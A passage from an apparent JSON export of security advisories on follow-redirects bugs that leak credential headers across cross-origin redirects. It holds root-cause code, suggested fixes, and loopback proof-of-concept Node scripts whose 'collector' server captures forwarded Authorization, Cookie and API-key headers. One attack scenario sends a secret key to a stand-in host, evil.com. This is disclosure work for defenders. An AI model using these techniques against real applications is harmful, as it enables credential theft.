destination.\n\n### Details\n\nAffected versions\n\nThe sensitiveHeaders option was introduced in 1.16.0. Published 1.16.0 and 1.16.1 both reproduced, giving a tested affected range of 1.16.0 through 1.16.1. The source checkout was pinned at revision 46301256333c90b7faac7aa126effe72ec16d16e; the exact npm 1.16.1 artifact reproduced independently.\n\nRoot cause\n\nindex.js resets options.sensitiveHeaders when its local isArray() helper returns false. That helper uses value instanceof Array, which depends on realm identity. The same file already uses Array.isArray(options.headers), which correctly recognizes arrays across realms.\n\nSuggested remediation\n\nUse Array.isArray(value) for sensitiveHeaders, then validate and normalize each member as a header-name string. Add same-realm and node:vm cross-realm tests for cross-origin redirects, including the array-form headers representation. Verify that custom sensitive names are removed while unrelated headers remain unchanged.\n\nDuplicate review\n\nThe public advisory history contains other sensitive-header findings, including array-form headers and regular-expression handling, but focused repository searches found no report describing cross-realm validation as of 2026-10-25. A private or differently worded report may already exist.\n\n### Proof of concept\n\nStart two loopback HTTP servers. The first returns a 302 redirect to the second. Send X-API-Key and list that name in sensitiveHeaders, then compare a normal array with a genuine cross-realm array created by:\n\n```js\nconst vm = require('node:vm');\nconst sensitiveHeaders = vm.runInNewContext(`['X-API-Key']`);\n```\n\nObserved against both source and the exact npm 1.16.1 package:\n\n- Same-realm ['X-API-Key']: the redirect target did not receive the key.\n- Cross-realm ['X-API-Key']: Array.isArray(value) was true, value instanceof Array was false, and the redirect target received X-API-Key.\n- An unrelated X-Harmless header remained present in both cases.\n\nThe complete 3.5 KB loopback-only harness and raw JSON output are available privately.\n\n### Impact\n\ncustom credential disclosure. Exploitation requires a direct caller or wrapper that preserves a cross-realm sensitiveHeaders array, a custom credential listed in that option, and an attacker-controlled or compromised endpoint that returns a cross-origin redirect. The directly demonstrated result is disclosure of the custom header value, potentially exposing an API key or service token until revocation.\n\nBuilt-in Authorization, Proxy-Authorization, and Cookie protections remained effective. Exact Axios 1.20.0 with follow-redirects 1.16.1 did not reproduce because Axios normalized the array; this report does not claim that Axios is affected. No third-party service was tested.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T22:59:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-mrwp-f3q8-3g9p","https://nvd.nist.gov/vuln/detail/CVE-2026-116689","https://github.com/follow-redirects/follow-redirects/commit/b0a7751e9cd64cd8eeb6ec67d2f206a9cc88d3f8","https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.2","https://github.com/advisories/GHSA-mrwp-f3q8-3g9p"],"source_kind":"github","identifiers":["GHSA-mrwp-f3q8-3g9p","CVE-2026-116689"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-30T23:00:10.850Z","updated_at":"2026-11-03T13:00:09.952Z","epss_percentage":0.00266,"epss_percentile":0.18733,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcndwLWYzcTgtM2c5cM4ACAK0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcndwLWYzcTgtM2c5cM4ACAK0","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.16.2","vulnerable_version_range":"\u003e= 1.16.0, \u003c= 1.16.1"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcndwLWYzcTgtM2c5cM4ACAK0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xM2poLXdyYzYtamdxOM4AB-eJ","url":"https://github.com/advisories/GHSA-q3jh-wrc6-jgq8","title":"follow-redirects array-form headers bypass cross-origin credential stripping","description":"### Summary\nfollow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `\"0\"`, `\"1\"`, `\"2\"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.\n\n### Details\nThe cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n  var lastValue;\n  for (var header in headers) {          // for...in over an ARRAY yields \"0\",\"1\",\"2\"...\n    if (regex.test(header)) {            // the header-name filter never matches a numeric index\n      lastValue = headers[header];\n      delete headers[header];\n    }\n  }\n  return (lastValue === null || typeof lastValue === \"undefined\") ?\n    undefined : String(lastValue).trim();\n}\n```\n\nIt is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:\n\n- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.\n- `index.js:470` - strip the `Host` header (`/^host$/i`).\n- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.\n\nThe caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.\n\nNode's `http.request` accepts `options.headers` as an alternating array of names and values (for example `[\"Authorization\", \"Bearer ...\", \"Cookie\", \"session=...\"]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `\"0\"`, `\"1\"`, `\"2\"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:\n\n- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.\n- Any `sensitiveHeaders` the caller declared are forwarded too.\n- The stale `Host` of the previous origin is re-sent to the new origin.\n- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.\n\nThe primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.\n\nRoot-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.\n\nSuggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n  if (Array.isArray(headers)) {\n    var lastValue;\n    for (var i = 0; i \u003c headers.length; i += 2) {\n      if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }\n    }\n    return (lastValue === null || typeof lastValue === \"undefined\") ? undefined : String(lastValue).trim();\n  }\n  // existing object logic\n}\n```\n\nApply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nPrecondition check (Node accepts and serializes array-form headers):\n```\nnode -e 'var http=require(\"http\");var s=http.createServer((q,r)=\u003er.end(JSON.stringify(q.headers)));s.listen(0,\"127.0.0.1\",()=\u003e{var p=s.address().port;http.request({hostname:\"127.0.0.1\",port:p,headers:[\"Authorization\",\"Bearer T\",\"Cookie\",\"c=1\"]},res=\u003e{var b=\"\";res.on(\"data\",c=\u003eb+=c);res.on(\"end\",()=\u003e{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'\n```\nObserved: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).\n\nMinimal form (built-in credential list), `arrayleak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:47302/steal\" });   // cross-origin (different port)\n  res.end();\n});\nvar collector = http.createServer(function (req, res) {\n  res.end(JSON.stringify(req.headers));                                // attacker-controlled target\n});\nredirector.listen(47301, \"127.0.0.1\", function () {\n  collector.listen(47302, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 47301, path: \"/\", method: \"GET\",\n      headers: [\n        \"Host\", \"127.0.0.1:47301\",\n        \"Authorization\", \"Bearer ARRAY-FORM-VICTIM-TOKEN\",\n        \"Cookie\", \"session=ARRAY-FORM-SESSION-ID\",\n        \"X-Custom\", \"harmless\"\n      ]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie        :\", h.cookie || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0 and 1.15.11):\n```\nAuthorization : Bearer ARRAY-FORM-VICTIM-TOKEN     \u003c- credential LEAKED cross-origin\nCookie        : session=ARRAY-FORM-SESSION-ID      \u003c- credential LEAKED cross-origin\n```\nControl: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it.\n\nCombined form (built-in list plus the 1.16.0 `sensitiveHeaders` fix, all defeated in one request), `combined.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:47402/steal\" });\n  res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(47401, \"127.0.0.1\", function () {\n  collector.listen(47402, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 47401, path: \"/\", method: \"GET\",\n      headers: [\n        \"Host\", \"127.0.0.1:47401\",\n        \"Authorization\", \"Bearer BUILTIN-VICTIM-TOKEN\",\n        \"Cookie\", \"session=BUILTIN-SESSION-ID\",\n        \"X-API-Key\", \"DECLARED-VICTIM-KEY\"\n      ],\n      sensitiveHeaders: [\"X-API-Key\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization (built-in list) :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie (built-in list)        :\", h.cookie || \"(stripped - OK)\");\n        console.log(\"X-API-Key (sensitiveHeaders)  :\", h[\"x-api-key\"] || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0):\n```\nAuthorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN     \u003c- LEAKED\nCookie (built-in list)        : session=BUILTIN-SESSION-ID      \u003c- LEAKED\nX-API-Key (sensitiveHeaders)  : DECLARED-VICTIM-KEY             \u003c- LEAKED (the CVE-2026-40895 fix defeated)\n```\n\nProtocol-downgrade branch (credentials transit in cleartext), `downgrade.js`, using the repository's own test certificate at `test/assets/`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\"); var https = require(\"https\"); var fs = require(\"fs\");\nvar opts = { key: fs.readFileSync(\"test/assets/localhost.key\"), cert: fs.readFileSync(\"test/assets/localhost.crt\") };\nvar ca = fs.readFileSync(\"test/assets/ca.crt\");\nvar httpsOrigin = https.createServer(opts, function (req, res) {\n  req.resume(); res.writeHead(302, { Location: \"http://localhost:47502/steal\" }); res.end();\n});\nvar httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nhttpsOrigin.listen(47501, \"localhost\", function () {\n  httpCollector.listen(47502, \"localhost\", function () {\n    followRedirects.https.request({\n      hostname: \"localhost\", port: 47501, path: \"/\", method: \"GET\", ca: ca,\n      headers: [\"Host\", \"localhost:47501\", \"Authorization\", \"Bearer DOWNGRADE-TOKEN\", \"Cookie\", \"session=DOWNGRADE-SESSION\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie        :\", h.cookie || \"(stripped - OK)\");\n        httpsOrigin.close(); httpCollector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.\n\nSide-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale `Host` of the first origin and `Content-Length: 13` despite an empty body.\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the `sensitiveHeaders` option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T17:58:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-q3jh-wrc6-jgq8","https://github.com/follow-redirects/follow-redirects/commit/9865ca45490e4d0f7b6944870318408344570aff","https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1","https://github.com/advisories/GHSA-q3jh-wrc6-jgq8"],"source_kind":"github","identifiers":["GHSA-q3jh-wrc6-jgq8","CVE-2026-111756"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T18:00:07.963Z","updated_at":"2026-10-28T20:01:40.846Z","epss_percentage":0.00471,"epss_percentile":0.40501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xM2poLXdyYzYtamdxOM4AB-eJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xM2poLXdyYzYtamdxOM4AB-eJ","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.16.1","vulnerable_version_range":"\u003e= 1.16.0, \u003c 1.16.1"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xM2poLXdyYzYtamdxOM4AB-eJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cjlwLWY5MzktNmgzY84AB-eI","url":"https://github.com/advisories/GHSA-8r9p-f939-6h3c","title":"follow-redirects sensitiveHeaders regex escaping can expose credential headers","description":"### Summary\nfollow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.\n\n### Details\nThe filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:\n\n```js\nthis._headerFilter = new RegExp(\"^(?:\" +\n    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join(\"|\") +\n  \")$\", \"i\");\n```\n\n`escapeRegex` at `index.js:703-705`:\n\n```js\nfunction escapeRegex(regex) {\n  return regex.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$\u0026\");   // escapes ] \\ / ( ) * + ? . $  -- NOT ^ | [ { }\n}\n```\n\nThe character class escapes `]`, `\\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node's `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.\n\nFor a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:\n\n- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test(\"X-Api^Key\")` returns `false`, and the header is not stripped.\n- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.\n\nThe generated filter source, reproduced from the exact library logic, is:\n```\n^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$\n```\nDirect matching results against this filter: `X-Api^Key` -\u003e false, `X-Token|Secret` -\u003e false, `X-Control-Key` (normal name) -\u003e true, and the split-off `X-Token` -\u003e true and `Secret` -\u003e true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -\u003e true.\n\nSecondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.\n\nSuggested remediation: two changes close both facets.\n\n1. Escape the complete set of regular-expression metacharacters:\n```js\nfunction escapeRegex(str) { return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$\u0026\"); }\n```\nThis was verified to restore correct matching for all affected names while preserving the built-in matches.\n\n2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.\n\nAdditionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/pull/284\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nFacet 1, metacharacter header names, `leak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:45902/\" });   // cross-origin (different port)\n  res.end();\n});\nvar collector = http.createServer(function (req, res) {\n  res.end(JSON.stringify(req.headers));                          // attacker-controlled target\n});\nredirector.listen(45901, \"127.0.0.1\", function () {\n  collector.listen(45902, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 45901, path: \"/\",\n      headers: {\n        \"X-Api^Key\":      \"SECRET-LEAKED-1\",     // declared sensitive, name contains ^\n        \"X-Token|Secret\": \"SECRET-LEAKED-2\",     // declared sensitive, name contains |\n        \"X-Control-Key\":  \"SHOULD-BE-STRIPPED\",  // declared sensitive, normal name (control)\n        \"Authorization\":  \"Bearer BUILTIN-CTL\"   // built-in list (control)\n      },\n      sensitiveHeaders: [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"X-Api^Key      :\", h[\"x-api^key\"] || \"(stripped)\");\n        console.log(\"X-Token|Secret :\", h[\"x-token|secret\"] || \"(stripped)\");\n        console.log(\"X-Control-Key  :\", h[\"x-control-key\"] || \"(stripped - OK)\");\n        console.log(\"Authorization  :\", h[\"authorization\"] || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0):\n```\nX-Api^Key      : SECRET-LEAKED-1          \u003c- credential LEAKED to redirect target\nX-Token|Secret : SECRET-LEAKED-2          \u003c- credential LEAKED to redirect target\nX-Control-Key  : (stripped - OK)          \u003c- control: option works for normal names\nAuthorization  : (stripped - OK)          \u003c- control: built-in list works\n```\nThe two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.\n\nRoot-cause and fix verification (pure regex logic, no network):\n```js\nvar builtin = [\"Authorization\", \"Proxy-Authorization\", \"Cookie\"];\nfunction escCurrent(s) { return s.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$\u0026\"); }         // library's escaper\nfunction escFixed(s)   { return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$\u0026\"); }      // canonical escaper\nfunction build(esc, d) { return new RegExp(\"^(?:\" + builtin.concat(d).map(esc).join(\"|\") + \")$\", \"i\"); }\nvar declared = [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"];\nvar cur = build(escCurrent, declared), fix = build(escFixed, declared);\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n =\u003e console.log(\"current\", n, cur.test(n)));  // both false\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n =\u003e console.log(\"fixed  \", n, fix.test(n)));  // both true\n[\"X-Token\",\"Secret\"].forEach(n =\u003e console.log(\"collateral\", n, cur.test(n)));         // both true (wrong)\n```\nObserved: current filter returns false for both metacharacter names and true for the unrelated `X-Token` and `Secret`; the fixed filter returns true for all declared names and still true for the built-ins.\n\nReachability of the vectors:\n```\nnode -e 'var http=require(\"http\");[\"X-A^B\",\"X-A|B\",\"X-A[B\",\"X-A{B\",\"X-A}B\"].forEach(function(n){try{var r=http.request({host:\"127.0.0.1\",port:1});r.setHeader(n,\"v\");r.destroy();console.log(n,\"ACCEPTED\");}catch(e){console.log(n,\"REJECTED\",e.code);}});'\n```\nObserved: `X-A^B` and `X-A|B` ACCEPTED; `X-A[B`, `X-A{B`, `X-A}B` REJECTED with `ERR_INVALID_HTTP_TOKEN`.\n\nFacet 2, entry declared inside `beforeRedirect`, `leak2.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  res.writeHead(302, { Location: \"http://127.0.0.1:46202/\" }); res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(46201, \"127.0.0.1\", function () {\n  collector.listen(46202, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 46201, path: \"/\",\n      headers: { \"X-Late\": \"LATE-DECLARED-VALUE\" },\n      beforeRedirect: function (options) { options.sensitiveHeaders.push(\"X-Late\"); }\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n        console.log(\"X-Late forwarded to redirect target:\", JSON.parse(body)[\"x-late\"] || \"(stripped)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0): `X-Late forwarded to redirect target: LATE-DECLARED-VALUE` (the late-declared name is not stripped).\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the `sensitiveHeaders` cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the `sensitiveHeaders` option to protect a custom credential-bearing header whose name contains `^` or `|`, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the `sensitiveHeaders` option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T17:53:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-8r9p-f939-6h3c","https://nvd.nist.gov/vuln/detail/CVE-2026-111755","https://github.com/follow-redirects/follow-redirects/commit/080a76d0e125b37bf81717368a61d5dc37aa56c8","https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1","https://github.com/advisories/GHSA-8r9p-f939-6h3c"],"source_kind":"github","identifiers":["GHSA-8r9p-f939-6h3c","CVE-2026-111755"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T18:00:07.963Z","updated_at":"2026-10-28T20:01:40.846Z","epss_percentage":0.00471,"epss_percentile":0.40501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cjlwLWY5MzktNmgzY84AB-eI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cjlwLWY5MzktNmgzY84AB-eI","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.16.1","vulnerable_version_range":"\u003e= 1.16.0, \u003c 1.16.1"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cjlwLWY5MzktNmgzY84AB-eI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNHE1LXZtbW0tMjY1M84ABVM4","url":"https://github.com/advisories/GHSA-r4q5-vmmm-2653","title":"follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets","description":"## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n   redirectUrl.protocol !== \"https:\" ||\n   redirectUrl.host !== currentHost \u0026\u0026\n   !isSubdomain(redirectUrl.host, currentHost)) {\n  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny 